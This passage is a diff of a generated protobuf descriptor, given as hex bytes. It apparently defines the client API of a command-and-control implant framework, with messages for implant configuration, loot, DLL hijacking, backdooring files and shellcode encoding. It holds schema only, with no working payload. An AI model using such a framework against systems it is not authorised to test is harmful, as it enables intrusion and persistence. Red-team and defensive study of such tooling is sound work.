0x07, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1f, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, + 0x52, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x28, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x52, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, + 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, + 0x61, 0x74, 0x61, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x45, 0x72, 0x72, 0x22, 0x36, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, + 0x72, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x74, 0x0a, + 0x0a, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, + 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, + 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, + 0x65, 0x12, 0x16, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x42, + 0x02, 0x30, 0x01, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x74, + 0x65, 0x6e, 0x74, 0x22, 0xc1, 0x01, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, + 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x45, 0x0a, + 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, + 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x2e, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, + 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x40, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, + 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, + 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, 0x02, 0x20, 0x03, + 0x28, 0x09, 0x52, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x22, 0xad, 0x01, 0x0a, 0x07, 0x57, 0x65, + 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3b, 0x0a, 0x08, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x2e, 0x43, + 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, + 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, + 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x39, 0x0a, 0x08, 0x57, 0x65, 0x62, + 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, + 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x08, 0x57, 0x65, 0x62, 0x73, + 0x69, 0x74, 0x65, 0x73, 0x22, 0xa0, 0x01, 0x0a, 0x0e, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x22, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, + 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x53, + 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, 0x43, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, + 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x43, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x43, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x22, 0xba, 0x01, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, + 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, + 0x54, 0x79, 0x70, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, + 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, + 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, + 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, + 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, + 0x46, 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, 0x07, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, + 0x22, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x04, 0x4c, + 0x6f, 0x6f, 0x74, 0x22, 0x45, 0x0a, 0x03, 0x49, 0x4f, 0x43, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, + 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x1a, + 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x22, 0x27, 0x0a, 0x0d, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4f, + 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4f, 0x75, 0x74, + 0x70, 0x75, 0x74, 0x22, 0xdf, 0x02, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, + 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, + 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, + 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, + 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x21, 0x0a, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x52, + 0x04, 0x49, 0x4f, 0x43, 0x73, 0x12, 0x47, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, + 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x2e, 0x45, 0x78, 0x74, + 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, + 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, + 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, + 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, + 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, + 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x1a, 0x59, 0x0a, 0x12, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, + 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, + 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x30, 0x0a, 0x08, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, + 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, + 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x22, 0xf3, 0x01, 0x0a, 0x0c, 0x44, 0x6c, 0x6c, 0x48, + 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x12, 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, + 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, + 0x50, 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, + 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54, 0x61, + 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, + 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, + 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x12, 0x20, + 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x55, 0x0a, - 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, - 0x44, 0x61, 0x74, 0x61, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, - 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x47, 0x0a, 0x08, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2b, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, - 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x57, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x30, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, - 0x0a, 0x13, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, - 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, - 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x42, 0x75, 0x69, - 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x39, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, - 0x64, 0x65, 0x72, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, - 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x52, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, - 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x07, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x12, + 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3b, 0x0a, + 0x09, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x78, 0x0a, 0x0b, 0x42, 0x61, + 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, + 0x65, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, + 0x65, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, + 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, + 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x22, 0x3a, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, + 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0xeb, 0x01, 0x0a, 0x12, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x22, 0x0a, + 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, + 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x04, 0x20, + 0x01, 0x28, 